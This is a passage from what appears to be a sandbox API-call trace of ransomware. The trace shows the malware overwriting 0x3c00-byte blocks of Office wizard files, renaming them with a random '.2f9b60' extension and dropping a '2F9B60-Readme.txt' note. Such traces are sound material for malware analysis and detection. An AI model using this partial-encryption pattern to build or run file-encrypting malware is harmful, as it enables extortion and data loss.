Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt" [0226.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\2f9b60-readme.txt")) returned 0x20 [0226.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505910) returned 1 [0226.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bd00) returned 1 Thread: id = 1093 os_tid = 0x17bc [0112.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde")) returned 0x20 [0112.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE", dwFileAttributes=0x20) returned 1 [0112.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c [0112.010] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x3450f760 | out: lpFileSize=0x3450f760*=9404416) returned 1 [0112.010] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x8f7ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.010] ReadFile (in: hFile=0x160c, lpBuffer=0x3450f6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3450f728, lpOverlapped=0x0 | out: lpBuffer=0x3450f6e0*, lpNumberOfBytesRead=0x3450f728*=0x4, lpOverlapped=0x0) returned 1 [0112.015] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8200 [0112.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a80b0 [0112.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a81a0 [0112.016] NtQuerySystemTime (in: CurrentTime=0x3450f620 | out: CurrentTime=0x3450f620*=132462177174754000) returned 0x0 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x217e606 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x6da83500 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x3b0bd5b1 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x42a5e81 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x187c854e [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x592af949 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x191eedfa [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x443c7026 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x26d28fe [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x1b16a306 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x24848396 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x4a5d958d [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x4620eb71 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x64d7ffc4 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x542fdcee [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x6e1ae592 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x401d7b96 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x32d09969 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x7d10ff52 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x1000c914 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x58ffb592 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x390c617a [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x7f1c6697 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x5a186f87 [0112.016] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x1216d3fe [0112.017] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x42c17246 [0112.017] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x1517841a [0112.017] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x5a638541 [0112.017] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x3a6517e5 [0112.017] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x1201283a [0112.017] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x63e4dd62 [0112.017] RtlRandomEx (in: Seed=0x3450f610 | out: Seed=0x3450f610) returned 0x23a1d1a5 [0112.026] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.026] ReadFile (in: hFile=0x160c, lpBuffer=0x41e13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3450f680, lpOverlapped=0x0 | out: lpBuffer=0x41e13cc0*, lpNumberOfBytesRead=0x3450f680*=0x3c00, lpOverlapped=0x0) returned 1 [0112.041] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0112.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0112.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8200 [0112.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8200) returned 1 [0112.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e1b4e0 [0112.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8200 [0112.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0112.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8500) returned 1 [0112.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0112.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0112.042] WriteFile (in: hFile=0x160c, lpBuffer=0x41e1b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3450f680, lpOverlapped=0x0 | out: lpBuffer=0x41e1b4e0*, lpNumberOfBytesWritten=0x3450f680*=0x3c00, lpOverlapped=0x0) returned 1 [0128.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e1b4e0) returned 1 [0128.179] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x47f400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.179] ReadFile (in: hFile=0x160c, lpBuffer=0x41e13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3450f680, lpOverlapped=0x0 | out: lpBuffer=0x41e13cc0*, lpNumberOfBytesRead=0x3450f680*=0x3c00, lpOverlapped=0x0) returned 1 [0128.182] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x47f400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0128.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85dd90 [0128.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859580 [0128.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859580) returned 1 [0128.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e1b4e0 [0128.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859580 [0128.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0128.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4e0) returned 1 [0128.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd90) returned 1 [0128.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.183] WriteFile (hFile=0x160c, lpBuffer=0x41e1b4e0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3450f680, lpOverlapped=0x0) [0171.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e1b4e0) returned 1 [0171.028] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x8f4400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.028] ReadFile (in: hFile=0x160c, lpBuffer=0x41e13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3450f680, lpOverlapped=0x0 | out: lpBuffer=0x41e13cc0*, lpNumberOfBytesRead=0x3450f680*=0x3c00, lpOverlapped=0x0) returned 1 [0171.206] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x8f4400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d220 [0171.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d220) returned 1 [0171.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2033ad80 [0171.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d220 [0171.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d250 [0171.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d250) returned 1 [0171.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.209] WriteFile (in: hFile=0x160c, lpBuffer=0x2033ad80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3450f680, lpOverlapped=0x0 | out: lpBuffer=0x2033ad80*, lpNumberOfBytesWritten=0x3450f680*=0x3c00, lpOverlapped=0x0) returned 1 [0190.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2033ad80) returned 1 [0190.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b863e30 [0190.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d220) returned 1 [0190.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859580) returned 1 [0190.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8200) returned 1 [0190.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e13cc0) returned 1 [0190.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431187e0 [0190.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8200 [0190.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8200) returned 1 [0190.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x43118860 [0190.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8200 [0190.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138920 [0190.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138920) returned 1 [0190.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14e) returned 0x1343c0 [0190.505] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0190.505] WriteFile (in: hFile=0x160c, lpBuffer=0x1343c0*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x3450f730, lpOverlapped=0x0 | out: lpBuffer=0x1343c0*, lpNumberOfBytesWritten=0x3450f730*=0x14e, lpOverlapped=0x0) returned 1 [0201.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1bcf0 [0201.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1bcf0) returned 1 [0201.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42c1bcf0 [0201.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1bc60 [0201.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1bc30 [0201.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1bc30) returned 1 [0201.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce5c740 [0201.203] sprintf (in: _Dest=0x1ce5c740, _Format="%c%c" | out: _Dest="24") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c742, _Format="%c%c" | out: _Dest="b4") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c744, _Format="%c%c" | out: _Dest="9e") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c746, _Format="%c%c" | out: _Dest="d0") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c748, _Format="%c%c" | out: _Dest="1e") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c74a, _Format="%c%c" | out: _Dest="db") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c74c, _Format="%c%c" | out: _Dest="0f") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c74e, _Format="%c%c" | out: _Dest="90") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c750, _Format="%c%c" | out: _Dest="d1") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c752, _Format="%c%c" | out: _Dest="aa") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c754, _Format="%c%c" | out: _Dest="14") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c756, _Format="%c%c" | out: _Dest="8a") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c758, _Format="%c%c" | out: _Dest="0b") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c75a, _Format="%c%c" | out: _Dest="fd") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c75c, _Format="%c%c" | out: _Dest="c9") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c75e, _Format="%c%c" | out: _Dest="3b") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c760, _Format="%c%c" | out: _Dest="2d") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c762, _Format="%c%c" | out: _Dest="df") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c764, _Format="%c%c" | out: _Dest="08") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c766, _Format="%c%c" | out: _Dest="9b") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c768, _Format="%c%c" | out: _Dest="29") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c76a, _Format="%c%c" | out: _Dest="94") returned 2 [0201.203] sprintf (in: _Dest=0x1ce5c76c, _Format="%c%c" | out: _Dest="6b") returned 2 [0201.204] sprintf (in: _Dest=0x1ce5c76e, _Format="%c%c" | out: _Dest="c5") returned 2 [0201.204] sprintf (in: _Dest=0x1ce5c770, _Format="%c%c" | out: _Dest="3b") returned 2 [0201.204] sprintf (in: _Dest=0x1ce5c772, _Format="%c%c" | out: _Dest="bd") returned 2 [0201.204] sprintf (in: _Dest=0x1ce5c774, _Format="%c%c" | out: _Dest="b7") returned 2 [0201.204] sprintf (in: _Dest=0x1ce5c776, _Format="%c%c" | out: _Dest="00") returned 2 [0201.204] RtlInitAnsiString (in: DestinationString=0x3450f7a8, SourceString="24b49ed01edb0f90d1aa148a0bfdc93b2ddf089b29946bc53bbdb700" | out: DestinationString="24b49ed01edb0f90d1aa148a0bfdc93b2ddf089b29946bc53bbdb700") [0201.204] RtlAnsiStringToUnicodeString (in: DestinationString=0x3450f778, SourceString="24b49ed01edb0f90d1aa148a0bfdc93b2ddf089b29946bc53bbdb700", AllocateDestinationString=1 | out: DestinationString="24b49ed01edb0f90d1aa148a0bfdc93b2ddf089b29946bc53bbdb700") returned 0x0 [0201.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85eb90 [0201.205] wcscat (in: _Dest=0x4318a020, _Source="24b49ed01edb0f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\24b49ed01edb0f") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\24b49ed01edb0f" [0201.205] wcscat (in: _Dest=0x4318a020, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\24b49ed01edb0f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\24b49ed01edb0f.2f9b60" [0201.205] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\24b49ed01edb0f.2f9b60", NtPathName=0x3450f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\24b49ed01edb0f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x4314b3e0 [0205.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314b3e0) returned 1 [0205.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43205740) returned 1 [0205.952] NtQueryInformationFile (in: FileHandle=0x160c, IoStatusBlock=0x3450f7b8, FileInformation=0x3450f7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3450f7b8, FileInformation=0x3450f7c8) returned 0x0 [0205.952] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x3450f7b8, FileInformation=0x3450f7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318a020) returned 1 [0216.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0216.740] FlushFileBuffers (hFile=0x160c) returned 1 [0221.422] CloseHandle (hObject=0x160c) returned 1 [0223.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4318bd00 [0223.405] wcscpy (in: _Dest=0x4318bd00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0223.405] wcscat (in: _Dest=0x4318bd00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt" [0223.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\2f9b60-readme.txt")) returned 0xffffffff [0223.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3290 [0224.126] WriteFile (in: hFile=0x3290, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3450f670, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3450f670*=0xba9, lpOverlapped=0x0) returned 1 [0225.571] CloseHandle (hObject=0x3290) returned 1 [0226.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318bd00) returned 1 [0226.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a53d0) returned 1 Thread: id = 1094 os_tid = 0x17c0 [0112.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde")) returned 0x20 [0112.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE", dwFileAttributes=0x20) returned 1 [0112.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1560 [0112.014] GetFileSizeEx (in: hFile=0x1560, lpFileSize=0x3458f6a0 | out: lpFileSize=0x3458f6a0*=11767808) returned 1 [0112.014] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0xb38ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.014] ReadFile (in: hFile=0x1560, lpBuffer=0x3458f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3458f668, lpOverlapped=0x0 | out: lpBuffer=0x3458f620*, lpNumberOfBytesRead=0x3458f668*=0x4, lpOverlapped=0x0) returned 1 [0112.027] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8200 [0112.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a81a0 [0112.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0112.028] NtQuerySystemTime (in: CurrentTime=0x3458f560 | out: CurrentTime=0x3458f560*=132462177174910000) returned 0x0 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x79e86ed1 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x6a3b0656 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x35055ab1 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x717c2649 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x5fd8cef8 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x8056557 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x1738b079 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x2e7fc31 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x7ded4f2e [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x11270964 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x25506e76 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x3f34f9b5 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x645ca886 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x4b2534a3 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x3a9d441 [0112.028] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x50022d60 [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x389278b8 [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x3418f241 [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x1e83ffa8 [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x60583b72 [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x412c9e1a [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x5224d9c6 [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x71e06e4f [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x7cbc58c6 [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x6035b897 [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x352ec8b [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0xe2dbacc [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x7e9f4224 [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x6adce1e6 [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x70d56d30 [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0x3e0f1331 [0112.029] RtlRandomEx (in: Seed=0x3458f550 | out: Seed=0x3458f550) returned 0xa65c5e4 [0112.037] SetFilePointerEx (in: hFile=0x1560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.037] ReadFile (in: hFile=0x1560, lpBuffer=0x41e178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3458f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e178d0*, lpNumberOfBytesRead=0x3458f5c0*=0x3c00, lpOverlapped=0x0) returned 1 